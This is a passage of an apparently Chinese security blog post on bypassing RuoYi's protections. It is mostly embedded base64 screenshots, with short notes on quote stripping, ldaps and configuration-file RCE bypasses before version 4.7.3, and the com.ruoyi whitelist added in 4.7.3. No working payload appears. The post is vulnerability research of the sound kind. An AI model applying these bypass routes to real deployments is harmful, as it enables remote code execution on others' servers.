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
<p blockindex=79>跟进之后发现会把参数中的<code>'</code>替换为空</p>
<p blockindex=80><img src=data:image/png;base64,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
<p blockindex=81>打个断点调试一下</p>
<p blockindex=82><img src="data:image/png;base64,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
<h2 blockindex=83>&lt;4.7.2</h2>
<p blockindex=84>在这个版本下可以看到有可以看到有ldaps、配置文件rce等方法bypass，网上挺多文章的就不分析了</p>
<h3 blockindex=85>ldaps</h3>
<h3 blockindex=86>配置文件rce</h3>
<h2 blockindex=87>4.7.3</h2>
<p blockindex=88>在4.7.3的版本下，又增加了白名单，只能调用com.ruoyi包下的类！并且把之前所有的路堵死了</p>
<p blockindex=89><img src=data:image/png;base64,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
